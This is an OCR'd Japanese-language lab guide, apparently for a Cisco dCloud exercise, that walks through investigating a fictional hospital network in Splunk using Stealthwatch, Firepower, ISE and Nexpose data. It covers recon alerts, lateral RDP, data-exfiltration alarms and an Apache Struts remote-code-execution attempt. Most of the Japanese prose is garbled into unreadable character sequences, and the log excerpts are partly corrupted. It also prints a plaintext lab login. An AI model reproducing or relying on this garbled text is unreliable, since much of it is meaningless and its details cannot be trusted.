Splunk (&, BEITELTILYITURIA—ILERTET HIENTE, §EIL, HackMDs DS TAoF R—OFREELTVVET, 2 RaD
BtF1 T8RO Nexpose MODEBELT—F IRA VM BGMIZREFE T 2040 v B EL =, R—P D EERIZIE Stealthwatch
DT—EMRREINTLET , TD TFIZIE Firepower & ISE, F&#I(Z Rapid7 Nexpose DTF—ENKR TSN, T—E2DE LI avIZIFF
NENDSNILHEDNTVET, KK, SIEM [FFEEHRDT—HEREFLTEIOTIIEL BHOT -2V S IFEIFLGEAARUL L
A—ROAVTHFRAMEFET S EEBMELTVET A COLIEROFE Y aR—RIZTHAUTHIET, REOEDT—2DERET
RO FLEDESILELIZ, Ay ahR—FORFFFERIZDOVTIE, SAROBIZ. BRICEZRLEYEFEEL-ULTHEVNEE A,

Splunk DS T42Y R—=COERIZIE, Splunk [ZA 2V RM—ILENTWNET7TYr—arNRRSNTEY. BINNGREIZHAETS
CERTEZET, Splunk [F7 TS —2ay AZaZFAMNRELTWSETHA T [7FU (Apps) ] ZTAAV L ARENATNET T
r—2avERBELGEVHTIEMNTEE T, /-, splunkbase.splunk.com THY S/ MSELFBTRETY ., COIRTIE, . Xa&
Rapid7 OF2/AP—RIZFNEN 1 DT D7 TVr—avE (U R—)LLTEY., Cisco Stealthwatch D7 F)r—a> LSt D ED
IZDULTI. splunkbase A3 2= T4 TREETEE T, 4 H. Cisco Stealthwatch D7 TV — 3V (IR—LRD BB T, HREATA(XE
NE=F7IIVr—2a0DERTEOIZCEDTVET . EROEEDT IV —av g0 )y ILTRBSE . T—2DRAEZITo TS
W T—2DEBMNTZEESITHESNTULET,

Apps O

P

—‘/
a%ha,ckl\/[ Ds Security Operations Center
- g Stealthwatch Data &%
Cico S h
O ;;mm ;/ I "
High Concern Recon Worm Popergetion  Data Hoarding Suspect Data Loss Exfiltration
L 22 2 3137 112 % 1167 14 2 47
Stealthwatch Top Attack Catagories Stealthwatch Top Attacker P Addresses
Cisco Stealthwetch Cisco StealthWetch

BE. Splunk DEEEX, RAT1T DRBEMEEELR—MERREFERT HLECAONLIRDET , [RREIULR—F(Searching &
Reporting)] €2 w79 %&, ZHDRE V4R & [T—44 <) —(Data Summary)] REUNRFRENFET , [index=*1THRET S
&, Splunk AD T RTDTNARIZETHET—8 LA—RARTEINET  ERIAT —F F4—ILRT. T4—ILREDYILTRRIS
BEZEMY S ET.BALDHEINBICHEITRYRAL ENTEET . raw T—E2DT4—)LFZHERL. RERITEMT 5 ELT
BETY, f=&AIL Tdest_=ip=*]&BINT d&, 585k IP PRLADATHS, CORRIT—HTHL RN THHIhET, R,
HackMDs DZ v aR—RDRFIPBLERED V4D YR OLR—MIEBRTEES , F DA RXUFOREBERAUPELTERT S
ELHRETT
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Agr 223008 500 A -

ZNTIE, Splunk ZEAL T 2D DX 2T (VI TUMERBRISAELTHELLD,

NEDEBZRET D

RUDFAETIX. OFUF 5 DTREOBEITEITLLRBEERLET  WBEIL, BALIL T+ ILT RDP(3389/tcp) #{E A
L. BRIV T—IATOEALTVET, 198.19.30.X FYRT—VITBATHE RFPUEETLTHO IR TLEREL, RERVE
D—IIZT 9 RTB=BDICEALRLEBREILT OV EFERALTENSTIERALET . KEEO B ML, HIPAA RykT—%5
(198.19.10.X) #HEELTHEU L T4T T—REMBTHZETT HIPAA RYRT—IAD VAT LERETSHLE. FOVRTLLEDEY
T4 TREHEL. FileZilla #EALTRYNT—IRZTHORAR—LET , HE=DEZEIL, Splunk THEFRS L= Stealthwatch @
T—REFERALT, VE—F TRIMYT D E1E(3389/1tcp) . NETOERITEY. FEOFL., T—2RBTIT(ET(EHETHIL
<7,

6. FJ.Splunk IZ7H+EXLT, A A UBZR RSN S HackMDs M SOC #via h—FEHELES ., TSI 0OEE V% FH
LT Splunk [CBEF7S+AL, admin/Clsco12345 TOS 12 LET,

~

A By aR—R O EERIZH S HM RS %5 AL THIR%Z 04/01/2018 ~ 04/08/2018 [ZFAELFES . Z2ETH CTR U7
UAZSBEERLEOTHNIE., BRI 24 BREOFTETHELEE A,

Last 24 hours v

» Presets
> Relative
> Realjime

~tate Range

Between v 03/01/2018  and  04/01/2018 Apply

> Date& Time Range

» Advanced

8. AwiaR—FnLEERNIL, Stealthwatch 4w a R—FTHEZELIzATIV D ZLAH Splunk [TIEIIEN TSI ENHMYE
T E = REBEDQLEATIVE IP PRLRADY I — Fr— LR TEET,

=, CNETISERZBEEDHLSBEICOVTRETHIZE, I TITHESNTVSY —ILEESAESKOIMHYFET . F7 .
(&% (Recon)] V4P xzubEV)VIL EEEHICETLRAENBDHET . RIRFT7 OV EFERALTRABEEREET.

Recon

oy B
27

ol O
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9. FLWLWIAURIDREET ARV IVFDABRHRTEIN, UATREL PRI ERTEET, SO IrPybI RRT—IL
Ri=Tcat=Recon | &$§7E L TH#H L7= Stealthwatch (198.16.10.6) DAS D H#EHD UL TWVET , ZhlE, Tcat=Recon) (hT3
YHT{EER ) £7%E>TLVS Stealthwatch OO DHEFHERLTOET  FHERKICOVWTIX BEIVAUR D THRETEE T BELEH
R T HIWEILLEL DT timechart span=1d countJ[ZHIRL. BEREDT7AIE9)v 0T 5, TDEF Enter ZHL TR
RLET,

Search Datasets Repornts Alerts Dashboards

Q New Search

host="198.19.10.6" cat=Recon

+ 3,800 events (4/1/18 12:90:00.000 AM 10 4/9/18 12:00:00.000 AM)  No Eve

Events (3,800) Pattemns Statistics Visualization

Format Timeline v

10. ARk ®9LaVIZAT D raw T—EPEE I —ILEDRREINDDEHERELET . ATTUMN 1 DRIRSNTNDIEE, ZDT—
A% Stealthwatch ZR9 7RAK 198.19.10.6 ASEEBEIN-EDTHAENDLMYET,

Q New Search SaveAsv  Close
host="198.19.10.6" cat=Recon Datetime range v Q
+ 2,974 events (4/1/18 10:00:00.000 PM to 4/7/18 10:48:34.000 PM)  No Event Sampling v Job v & L $ Fast Modewv
Events (2,974) Pattems Statistics Visualization
Format Timeline v Zoom Out 1 hour per column
e e i — . | o n— il - N — e m— | = eilin el -J
v #Format 20 Per Page v N2 ¥ 4 EET 9 Next >
< Hide Field = All Fleld: f | Time Event
> 4718 Apr 7 22:44:01 198.19.10.6 Apr 08 05:44:00 SMC Stealthwatch[3014]: 51|0x7C|src=115.230.127.112|dst=0.0
10:44:01.000PM 0.0|dstPort=|proto=|msg=Unauthorized, potentially malicious scans using TCP or UDP are being run agains
Selecteggelds t your organization's hosts and may be early indicators of attacks against your network.|fullmessage=0b

at served 10.28M points. Policy maximum allows up to 5M points. |start=2018-04-08705:22:30Z|end=2018-04-08T0
5:33:00Z|cat=Recon|alarmID=8P-1DPA-LHAS-7WLU-0| sourceHG=China|targetHG=unknown target host group name|so
urceHostSnapshot=https://198.19.10.6/1c-landing-page/snc.html¥/host/115.230.127 112|targetHostSnapshot=h
ttps://198.19.10.6/1c-landing-page/smc.html¥/host/0.0.0.0| flowCollectorName={device_na me}| flowCollector
1P=198.19 10.7|domain=dCloud|exporterName=|exporterIPAddress =|exporterinfo=|targetUser=|targetHostname=
|s ourcelgr=|alarnStatus=INACTIVE |alarmSev=Major

\“ Recon

198.19.106 main 1 udp:21514
cisco'stealthwatchalerts splunkvinual-machine

11, RITHEBERER TOEFELELS, LA—RTIHIEETA sric TRENTVFET DT, TERNWERERNIODMET . ARk 0T %
ARNIE, AHROBEENHERTEET DT, FALELIIZLT, 385k (dst) . FEEAR—k (dstPort) ZEBHERLET . ChBETAT
Splunk TT—AMEDKSICREFTSNTLSEMZEDINTEY, LIS, R TERAT M o—FIERLET,

Event

Apr 1 .16:18:02 198.19.10.6 Apr 01 23:18:01 SMC StealthwWatch[3014]: 51|0x7C|src=198.19.10.6|dst=0.0.0.0|dstPort=
|proto=|msg=Unauthorized, potentially malicious scans using TCP or UDP g;i*ﬁeing run agai your orgamgdation’
s hosts and may be early indicators of attacks against your network.|fullmessage=0Observed 88.5k points. Policy
maximum allows up to 15k points.|start=2018-04-01T708:23:00Z|end=2018-04-01723:07:34Z|cat=Recon|alarmID=8P-1D0L -H
73H-NXFR-M|sourceHG=Servers|targetHG=unknown target host group name|sourceHostSnapshot=https://198.19.10.6/1c-1a
nding-pagefsmc.html¥/host/198.19.10.6|targetHostSnapshot=https://198.19.10.6/1c-landing-page/smc.html¥/host/0.0.
0.0|flowCollectorName={device_na me}| flowCollectorIP=198.19.10.7|domain=dCloud|exporterName=|exporterIPAddress =
|exporterInfo=|targetUser=|targetHostname=|s ourcelser=|alarmStatus=INACTIVE|alarmSev=Major

Recon host =198.19.10.6 ndex = main ne nt=1 rce = udp:21514 rcetype = cisco:stealthwatch:alerts
splunk-virtual-rnachine 198.19.10.6

12. Stealthwatch QR4 THEE DRXIETERERTBICIE. Tsrc=* 1 ZRREHICEBMLTIRTOREETERRLET . BTREHIER
DESITIEYET , Enter L TIHRZHELET .

host="198.19.10.6" cat=Recon src=*
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13. CCTERIZERTHLWNIA—ILRTsrc ) ZHRBLET . TDIT«—ILREI v T HE, ERFEFHEITOTLS IP PTRLADY R R
RENFET, CTR DRFER T, 198.19.X.X DIWER IP PRLREMFELFET, TOMDTFL R [EAA—R b EDT/INARERLT
BY. TIOTAETADEATEHEELET, 198.19. X.X PRLRFEIFIZH D&, 198.19.10.X T/NARAD T RTH HIPAA IREENTHI
A TW%tFa) T+« Y—IL(Cisco FirePOWER., Private AMP #&) THAHZENHLMB(FT TT, 2FY, 198.19.10.X T/34
AN BEYEERFHET>TVWADIEEEDEETT , £2AH, 21— FRLRAA 198.19.30.100 [ZHH>TLBRHNETRLAA
12HYFET, COFFLRITEETEDIE. EXaTo V=LA TTITAITRERFEETH>CLSIHE— DRI IP PRLREZH
5TY,, EEEEIE. YL Iz 7 OREDBEICKLAONDHBBE UL T ITAETATHAH. COTNARIEEEFESATLDLD
EEZONES, TIE. ZD IP PRLREV)YILTID VAT LOFMBEREDNFLES,

Events (502) Pattemns Statistics lizat
3 sr x
e 7 Vives 100% e | N
Report
Top 10 Values Count %
Selected Field: 7 83 16534%
- 80 15.936%
9362%
36 T171%
7A71%
4 2789%

1992%
1594%

6 1.195%

14, EEEBCEITEIDIATLADOEENRTENES  AENSIEHNBEOEREHEELN., 2FY, VATLBNEEENLTLS
CEEERLTOET, COKIICLT. BESNFVRATLIMUD D AT LEREL, BELLIIEABEDOFERERFLTLLKDTT,

i Time Event
> 41718 Apr 1 16:21:02 198.19.10.6 Apr 01 23:21:01 SMC StealthWatch[3014]: 51|0x7C|src=198.19.30.100|dst=0.0.0.0|dstPo

4:21:02.000 PM re= |pr0[o |msg=Unauthorized, potentially malicious scans using TCP or UDP are being run against your organizat
3y y E ERSEEENS W EEETERS | fullmessage=0bserved 4 3M points. Pol

1(y maximum allows up to 15k points.|start= L01° 04-01706:01:50Z|end=2018-04-01723:10:58Z |cat=Recon|alarmID=8P-1

DOL -4AVH-WWOR-A| sourceHG=End-User Devices|targetHG=unknown target host group name|sourceHostSnapshot=https://19
8.19.10.6/1c-landing-page/smc.html¥/host/198.19.30.100|targetHostSnapshot=https://198.19.10.6/1c-landing-page/s
mc.html¥/host/0.0.0.0| flowCollectorName={device_na me}|flowCollectorIP=198.19.10.7|domain=dCloud|exporterName=|
exporterIPAddress =|exporterinfo=|targetUser=|targetHostname=|s ourcelser=|alarmStatus=INACTIVE |alarmSev=Major

Recon 198.19.106 main 1 udp:21514 cisco:stealthwatch:alerns
splunk-virtual-machine 198.19.30.100

15. COVRTLMNMIA—SNBEMIZED LSBT I—LAHEINEMNRTHELLS, [cat=Recon %l cat=* [IZEEBTNILHERTE
£9, Thid. Stealthwatch T —%4 (host="198.19.10.6") DHEFERALT. 2D IP FRLRAMNLEESNzFT R TOATIIDEE
ERERTHLENSIETT  BEEHIERDLSITHYET, Enter £ T MRRE7AOE I LTI REERLET,

host="198.19.10.6" cat=* src="198.19.30.100"

16. CCTIEHRAHEOOTBRFSINETH, GIEIXMERIATIVEFICRESATO zOIZHLT, SEIZFTRTOARUL ATIUMN
HEINTVET, CORRINTEARBED AR ATITUNERINTVSOMEHEICHER T HIZE. [HTTY (ca)] F1—IL
FEOVYILES , EROZOMDHELEHLE THRAN OVIERNVKONRTENTVEYT , KRR~ AV IERDEEZ ) vIL
THRRF BYIIZDOWTEHMBICR THAFELLS, KA Av7ERIE, HackMDs DR —IZ/¥ 5BRERLTVET,
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host="198.19.10 6" cat=*

4,290 events (3/1/18 12:00:00.

Events (4,290) Pattems

< Hide Fiela: = Al

s«enw

cat x
000AM 29 Values, 100% of events Yes  No
Reponts
" VNG for vhieabiiime Rare value
ents witr el
Top 10 Values Count %
High Total Traff 1967 45851% —
666 15524% -
eld High Concerm Index 578 13.473% i
300 6.993%
ta Hoarding 226 5.268%
e Index 110 2564%
86 2005%
66 1538%
54 1.259%
49 1.142%

17. BRR{EENRRAF OVIBRDAIRYRAFENTT . ARUF O ERBE KRR OvY 7S5—LDRELN LM ET, TOHRRL
Oy ERDHITIE. SOPRTLHD HIPAA RyrT—IRADBI DL R T LADIERIZ)E—F TRYMY T (3389) AMERSINTLY
BIEMNRENTINVET, 198.19.10.X (FEEL HIPAA RyhT—ITHAHZLITEEL TS, 20AY 1£, 198.19.30.X Rk
D—9ZHh LT OERADBIThNEBOLN T, 198.19.10.101 ZHEL. ZOVRTLNSLIR—,ENE=TIOTAETA N HDHH
ESHERERLET . COT/NA R HIPAA RybD—ORNTREELI=T/NARATHY. 198.19.30.100 Mo EHKINTNET,

Time

471718
4:24:02.000 PM

Event
Apr1.16:24:02 198.19.10.6 Apr 01 23:24:00 SWC StealthWatch[3014]: 1]|0x7C|src=19§ 19.30.100|dst=198.19.10.101|d
stPort=3389|proto=6|msg=The hosgdfas violated the host lock settings.|fullmes ule #3 Lateral-RDE rce Hos

t is using remote-desktop (33897tcp) as client to 198.19.10.101|start=2018-04-01723:13:30Z|end=2018-04-01723:13
302|cat=Mck Violation|alarmID=8P-1DON-QJH7-015E -Y|sourceHG=End-User Devices|targetHG=Servers|sourceHostSna
pshot=https://198.19.10.6/1c-landing-page/smc.html#/host/198.19.30.100|targetHostSnapshot=https://198.19.10.6/1c
-landing-page/smc.html¥/host/198.19.10.101| flowCollectorName={device_na me}|flowCollectorIP=198.19.10.7|domain=d
Cloud|exporterName=|exporterIPAddress =|exporterinfo=|targetUser=|targetHostname=|s ourcelUser=|alarmStatus=INACT
IVE |alarmSev=Major
198.19.10.6 ex = main 1 e=udp:21514 1y cisco:stealthwatch:alerts
splunk-virtual-machine 198.19.30.100

18. HIPAA RXybT—YAT. EQLSBBEEDAREEL HEINERTIVNENHYET , [src=198.19.30.1001% src=198.19.10.101 |
ICEBL. lcat= |ILINDT—RIRREHEINSHIBRLET . RREFBIRDLSIZTHY . CORESNDATLOLEESNIZTA
TDARVNEHERTEDLIITHYET,

host="198.19.10.6" cat=* src=198.19.10.101

19. TABABLUT—ARBENEDLONESESEHATARRINET, DFY., RDP BHTERINTLSEIDIRTLERELT,
EETERIET D HIPAA R YT =I5 T—ANRHEL TS ENSZETT, CRIEREDKRTT , [cat] T4—ILKESYvHLT
LEICKRERTEET,

Event

Apr 8 10:41:01
0.0.0|dstPort=|

198.19.10.6 Apr 08 17:41:01 SMC StealthWatch[3014]: 40|0x7C|src=198.19.10.101|dst=0
protoslpsg=Indicates that an inside host has uploaded an abnormal amount of data to

Outside hosts. |full ge=0bserved 104.76M bytes. Policy maximum allows up to 20M bytes.|start=201

8-04-08T17:30:00
HG=Servers|targe
98.19.10.101 |tar,
ﬁrornane#devxc

bgorlerlnfoﬂ

Suspect Data L

Z|end=2018-04-08T17:30:00Z |cat=Suspect Data Loss|alarmID=8P-1DPC-FXN8-AFP6-2|source
tHG=Unknown | sourceHostSnapshot=https://198.19.10.6/1c-landing-page/smc.html¥/host /1
getHostSnapshot=https://198.19.10.6/1c-1anding-page/smc._html¥/host/0.0.0.0| flowColl
e_na me}|flowCollectorIP=198.19.10.7|domain=dCloud|exporterName=|exporterIPAddress
targetUser=|targetHostname=|s ourceUser=|alarmStatus=INACTIVE |alarmSev=Major

088 198.19.106 main 1 udp:21514

cisco:stealthwatch:alerts splunk-virtual-machine 198.19.10.101

Apr 8 10:41:01
0.0.0|dstPort=|

or outside hosts. |f

198.19.10.6 Apr 08 17:41:01 SMC StealthWatch[3014]: 45|0x7C|src=198.19.10.101|dst=0

proto=lmsg=Indicates that an abnormal amount of data has been transferred to inside
essage=0bserved 56.57k points. Policy maximum allows up to 2k points.|start=

2018-04-08T17:30:00Z |end=2018-04-08T17:30:00Z |cat=Data Exfiltration|alarmID=8P-1DPC-FXN8-AFP6-3|sou
rceHG=Servers|targetHG=unknown target host group name|sourceHostSnapshot=https://198.19.10.6/1c-1lan
ding-page/smc.html¥/host/198.19.10.101|targetHostSnapshot=https://198.19.10.6/1c-landing-page/smc.h

tml¥/host/0.0.0

0| flowCollectorName={device_na me}|flowCollectorIP=198.19.10.7|domain=dCloud|export

erName=|exporterIPAddress =|exporterinfo=|targetUser=|targetHostname=|s ourcelser=|alarmStatus=INAC
T alarmSev=Major

Data Exfiltration 198.19.10.6 « = main 1 udp:21514
cisco stealthwatch:alerts splunk-virtual-machine 198.19.10.101
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SOC EEELLTINKRICHIGT BHEELT, Splunk EA SN A —RAL— 3> Y—)LEFERT 5. Cisco ISE ZF| AL
T Stealthwatch @ Concern Index EAEWVWELDET X TEHIFNIZREHT D, BEN P ATLERBTAHENEZONET,
Tier 1 ® SOC BEELLTIEL, CORREBERDARURELTIROAVMEIZIRAL—2a0F2RENHYET .

COESHHREERT TN RHEINICLE  BHODAETRTIENEETT, [LEINDKEE (Top Attacker)] DEIZIE—&E
DTELANRRSNTVET A, FORD 1 Dl BHRYET—IRBOLDTY, FORITRT &SI2. ZINLREFITICEL
{TEFET, £z [T—2RHE (Exfiltration)] D7 5—L [T—2BRDEL (Suspect Data Loss)] DT S—Lh b, HREKDD
LITHDARTIHANTIKIEETEET  cat=* ZIEEL-—MRHUGREN SO TLEAORBICKIBREEMEL, ZIHOHERL
TUKZEETEET, INLIIFAEDEAELTHATES I, VbDBITT , BARYICKRREZITOTHT. AILHEHEEZHEHR
TELHMEHICELTA TS,

Stealthwatch Top Attacker IP Addresses
Cisco Stealthwatch
100.0.2.0

1.10.10.30
10201023

.
110.150.1 ‘ 198.19.10.3 Suspm mta Loss Exﬁltmtlon
510.150.1
4101030
8.10.150.1
3.10.10.30 la:maue/ z z
810.10.30 198.19.30.100 16 4

10.201.3.18 198.19.106

20. Splunk IZ[ERAT4T DRRMEEDOT v a1 R—REFERTESZT7 TV r—avhBhYET, Stealthwatch D7 TV r—av g R
IR THFK SN, BRERTEA—FRTT A, SESERRFBA T avBNEFNTOET, LED Splunk BT ES v I LTHAS
2 R=JIZF7 AL, Splunk D7) r—a & :&RLET

>

Search & Reporting

@

Cisco Stealthwatch
App

21. RYIDATTIEEHMD IP PRLRAZRETETT, T—HERINRLELEERDNS IP FTRLRZEA AL, EE (Submit)] 5 vs
LET . BREMETHOICE. BEEDOEFNLELRIGZELHYET,

Host Snapshot
Time: Subject IP Filter by Flow Collector.

Today D - 198.19.10.101 m

22. FICRIO—LFTNE, RISRELETS—LEECT 4D YT —ZHRTEET.
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198. 19.1 0.1 01 ( No Hostname Available )

Status
Appliance Status First Seen Last Seen MAC Addres:
Information
Appliance Server Sences Client Services Server Applicalions Client Application:
Alarms
# Source Alarms: #Target Alarms: Alarm Counts:
Alarm Type # Source Alarms # Target Alarms

2 6

COT7TVr—2avFEAICRELTIHFEVFER AL ERERTIEELA—2ROH—EHELZVEBAHYET, Splunk 3
A= TACHRTEST IV —2avDEATD—EERTRL. 7TV r—LaV RIEEHDRAIIA R TEDLIITHDRITDOVTEHR
TH. HATEDIIGHEELEDTLET,

THORTOA+OBEERET S

ROFETIE. OFVA 3DIRTYY 2 PUR JST ITETLERESEEZHRELTOETT  KBENSRAT YY1 UK 574K
LTWBEWNSIT L. BEDHEBEZERLTAUA—RVE EDEEDVRT LEA—SYMIL TSI EEEKRLET, ZOHITIE,
HackMDs @ DMZ RIZ# % —/ ZEELTLVS Struts2 DfEZEMHEZE X RICLTLVET , HackMDs ) DMZ MIHVRXTAAhSh, BHE
1L root LN JVERTA—IFIILERWLTLVET , Chid. jooss ZEALT= SAMSAM SUH LD FHEDEZDHEIZFELILTL
7,

23. HackMDs SOC 75—4 #via iIR—FIN®D Firepower T—3&HRBIEMNSIEHELLS, Splunk [ICAT AL A DFUT 4
D R=THERFSEET HIM%E. RICCOSHRTEREL-OLRHNRD 4 BOE—E (2018 £4 A7 H ~ 2018 £4 B 8 H)IC
EELET,

24. HackMDs SOC 75—L4 #vyia R—F O EABIZ(E, ATDEE THEMLT: Stealthwatch DT —8MKRRENFES, FITRIO—)L
FHE T—ED 2 BB DL AVIZ eStreamer HMOERFLEZT—ANRFTEINTVWSIDONOHLMVET, ZOT—2IE, LTFITRT LS
IZ Cisco Firepower DT—4RTY , ZNDIEEB D5LEEIZ(E Firepower Data ELVSRHELADLTLVET,

[Firepower {134 =—F+ (Firepower Top Signatures)] oSy EHEELE T, [BEE (priority)] 27 E5UvILT. BEED
EWEE N EIZRRTESNSLSIZLET,

Firepower Data
All Logs Correlation Events IPS /DS Events Impact 1 Events Malware / File Events
2 913 & 910 & 4 7
266,691 .2 662 659 28 i3
Firepower Top Signatures Firepower Top Classifications
Cisco Firepower Cisco Firepower
msg qid sid Dfl{lﬂfv—‘ count class_desc class cou
0S osoft Windows 3 21619 high Attempted Information Leak attempted-recon -
Ref ct-initial pdu P S Protacol Camiand Decod ool =
remote code execution attempt seneric Protocol Command Decode protocol-command-decode
SERVER-WEBAPP Java XML 1 44315 high Attempted Admini ,‘H_ALIFH;H(‘Q&.JW attemnpted-admin
deserialization remote code execution Potential Corporate Policy Violation policy-violation
attemnpt
/ Atternpted Denial of Service attempted-dos
SERVER-APACHE Apache Struts’ 130792 high
Parametersinterceptor c sloader
ac attempt
POLICY-OTHER Adobe ColdFusion 1 25977 high

component browser access attempt
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25. [Firepower il % —F (Firepower Top Signatures)] 74P zvbD EEICEEEDENARUIDARREIN-ZEEERLET,
NHEDARUNE, EBIZERLGBBAREELTNSIEERLTOET, EAIIEE AV E—CDHATT , BIRIOAELRCEMEM
KRS TWBIET TT, ChiE. FERYE—F TRIMT(3389) POTAET1ETRT 75— TTH., S EIL Firepower DE S
MERLELDTY , COKEIZDONTIE, T TISHELTLS=6HEELET . §HEIK Apache Struts DTHRTOA BT S
BETIDT, TNICEHT AV E—CZHRTIRELHYET, FICHEIV1DoybED)vIL RIBHETMOVEERLTINGT
RTOT77—rOFEBERELET,

msg gid sid © | priority ~ | count

21619 high

SERVERWEBAPP Java XML | 44315  high
deserialization remote code execution
attempt

CHE Apache Strut:
terceptor classioader

26. ERARREFELT—ETIHGL, D4V ERILT—2DRRTEINET . SEIE VDb E2ER LAV DT, T top limit=200 msg,
gid, sid, priority | showperc=f | sort -count 1ZHIBLZET , lpriority=high1ZBMIL T Enter L. B ESD IPS OJIZFH
LFET BREFHIERDELSIZHYET,

‘SfeS-ids-ips-logs” priority=high

27. ARV T—ARFRARDE, SEISFERITA—ILRERERTEE T, BRI T—IRD T /AL RIZRYRAL =612, Tdest_ip=*1%18
MLET, T2E EBEEEDARU T—EEEFLTLS IP PRLARTRTRFTINET . REEHITROLIIZHYETS,

‘SfeS-ids-ips-logs’ priority=high dest_ip=*

28. ERIDT4—ILE TYTICIE. BREREDFHFLWIS—ILFEED . EIT1—ILENRTINET, [dest_ip] T4—ILEZEIIVITBE,
HackMDs Y, T —Y N THERNRELSETARTD IP PRLARKRTENET, £7-. Firepower I CEEES ELTERSNT=
F75—hERREINFET,198.19.30.100 PRLRAEZHRLFET . COFFLRICRTINDIKEIL, §IEID Stealthwatch T—4% {5 A
LIZEECHRELELZIOLRLTHY . FEA RDP BIfELT—42RREIMEE R T Firepower ®OY(ZHYET,

i Tima Euee
dest_ip
Selected Fiaigd®
I 5 Values, 100% of events
Reponts

Values /

Interesting Fields
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COEZETIEIDMZAD 2 DDTRLRERERLET, 198.19.20.8 I%. EXal)T4 7TS5AT7 A THA Cisco ESA DKL AT
T, EIERERIZE DULVT Firepower 75—hEMJAH—LET . £5 1 DD IP 198.19.20.5 (X Apache —/\TT, BXE 1 DT
S—LHAERINT-EE FBELAYET, FATIE. CO IP PRLREI) L THRESED SFMIEHREREBLELLD,

29. A ARV DEHMEHERLET Apache H—/\DIERZIFINT-OHHERTES(ET T, REIL. 198.18.133.6 M x{Thh
THY. IHIFSNEBDH—/3THS Kali Linux [2HT=UET , CNDBERIZRYET—IDN TN SDRETHo1-I5E . EIETOE
BEDHMBEBMNRFTESLITLLY, TNODERIE. CORBEETOVILIZY  FRMNICEET HR A ETOVILEY T B
ICFIATEET, £=. COOY DIHA . Firepower A IDS E—FIZHESNTHEY . HFICT7ooavhebnigmo=CEdFELT
KEEW, U FUA 3 T, & TIPS E—RZEMICL, COTHRTOAEEETOVILET  ARUE T—ERDLEDDIEITH
YFETH, AFROEBRNEENET,

Event ‘*55"\
Y

rec_type=400 app_proto=HTTP blocked=No class=attempted-admm—class_desu"Attempted Administrator Privilege Gain"
client_app="Internet Explorer" connection_id=27247 connection_sec=1522675668 dest_ip=198.19.20.5 dest_ip_country
=0 dest_port=80 event_id=20539 event_sec=1522675668 event_usec=446342 fw*;a‘?‘ﬁ"l(yﬂHackMDs Default Policy" fw_rule
=268437504 gid=1 http_response=0 lds_pﬁ‘%q,;.nyack MDS Default IPS Policy" iface_egress=37a79a32-0d3f-11e8-b8d6-1
6f22ca10037 1face_lngress=d(10ud—lz-vlanl‘impact=1 impact_bits=15 impact_desc="Red (vulnerable)" instance_id=1 1
p_proto=TCP mpls_label=Cgmsg="SERVER-APACHE Apache Struts remote code execution attempt” net_analysis_policy=Hac
KMDS -NAP -Max num_10c=t?’b‘/?or1ty=h1gh rec_type_desc="Intrusion Event" rec_type_simple="IPS EVENT" rev=3 sec_zone_
egress=dcloud-12-vlan2 sec_zone_ingress=dcloud-vlan-primary security_context=00000000000000000000000000000000 se
nsor=ftd sid=4181§ src_ip=198.18.133.6 src_ip_country=unknown src_port=43321 ssl_actual_action=Unknown ssl_flow_
status=Unknown wﬁ%unknown vlan_id=0 web_app=Unknown

198.19.205 splunk-virtual-machine 1 < = main 1 1y = high encore
cisco:estreamer.data v splunk-virtual-machine

30. MEEMHE index=*(£T—42%HMH T 5).ip=198.19.20.5, nexpose_serverity="Critical" [ZZEF N[, Nexpose THHEh

FEEGHRBUET A THETIIENTEEY . COBERIE. COVRTAISET G/ AyFEBRAL. §EOITI/RTOCMALET
BEBIERTEERY .

index=* ip="198.19.20.5" nexpose_severity="Critical”

HICESESELRFEATIOIIRTAADOBEEIRE CTEE T, VAPV THEE 1 DARUIESNLTREED T, Firepower
THRESNEEZEED IDS/IPS 75— LSRG HIELETEET,, eStreamer 77— 3% FIAL. HackMDs D%y a
R—RTIT 2D ERILKIITHR B EIRD D ELAIEETT , Rapid7 Nexpose 7 74— avZzFIRAT 1L, Apache H—/ D e 55
HERDITHIEETEET, BRIZINSDA T avEHRELTAH TS,

Impact 1 Events il m
cisco

7| Cisco eStreamer .
20 eNcore Dashboard for Rapid7 Nexpose for
Splunk Splunk

BESh=-YT TERETS

BEDAETIE. ISE ITE>TEMBEINIZARVNERERLTWEET  BE/BESN YT by TE#FE D21 —H A HackMDs Rk
T—9IZ702AL, EDTYThyThoR—b RFv=U T W BtESN, BEDOHDV IV 7ESOUA—RLEIELTLET,
Firepower [ZZDEMEZEREL. COSVThyTE2RVNT—IDSHIBRT DR ENHDH L% PxGrid ZEALT ISE ISEHMLET . D
&K57KiR%E Splunk DB RN R THELLD,

31. Splunk IZA%Y' 1L, HackMDs DASY Bwia iR—REEZELET . S B, FIED I FIAERTLTOAEWNEE L, BIAIELL
BRESNTWNSIEEHERLET, BED Stealthwatch & Firepower DT —2ETRYIO—I)LT 5&, ISE T—4 2/ IILHDS ISE D
T—REHRTEES,
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Identity Services Engine Data

ISE Events Tracker

300
Administrator-Login
200 Dynamic-Authorizat
eps
100 B Failed-Attempt
I Feedservice
E I Passed-Authenticatic
- - - I Frofiler
800 PM 12:00 AM 400 AM 8:00 AM 12:00 PM 400 PM Wl Radius-Accounting
SatApr 7 Sun Apr 8 e
2018 I 5ystem-Management,
|
~ome
o X & 1O
ISE Logged in Devices VPN NAT Table
user IpAddress MacAddress src assigned_ip
dhowsen\ 198.13.40.51\ 02:00-4C-4F-4F-50\ 198.18.133.10 198.19.40 51

32. ISE N RTLZBEMIZIREEL-KR., DFY ISE DR —ERNFELELI-RRZRAEBELET ., ZOE=HIZ ERLEZREDT—
BTV TINERRLET, VP zubEIUVIL. [BREREEZR< (Open in Search)] #:E&RLET,

ISE Quarantine Count

33. ISE DR 7 I av DE#HESTRBEKENRRSNET, 1| stats count as Total IZHIRT L, ARV MEBH LKLY T—4
DHDPRREINET . BRFHERDLSITHYET,

index=* sourcetype="cisco:ise:syslog" Endpoint=* User_Name=* AuthorizationPolicyMatchedRule=Quarantine

34, CCTRY DEMERELET . COAVE—CDRRAEGEH>TNEI—HERERTEDIEFRHSLODBHYET, raw 1Rk T—42%
FRBE QT DOTHELIERSIIA—FRERTLRERRTHCENTEET, ERAD T —ILEES)YILT [TURRAUE
(Endpoint)] & U [2—H 4% (User_Name)] DY) —ZHERTHELTEET, 75— LE5IERILIz1—H (& dhowser T,
Z®0 IP PRLRILSERD 198.18.133.10 TY,

Event

Apr 5 09:35:02 198.19.10.4 Apr 5 16:35:02 ise CISE_Passed_Authentications 0000054386 1 0 2018-04-05 16:35:02.513
+00:00 0000429037 5236 NOTICE Passed-Authentication: Authorize-Only succeeded, ConfigVersionld=36, Device IP Addre
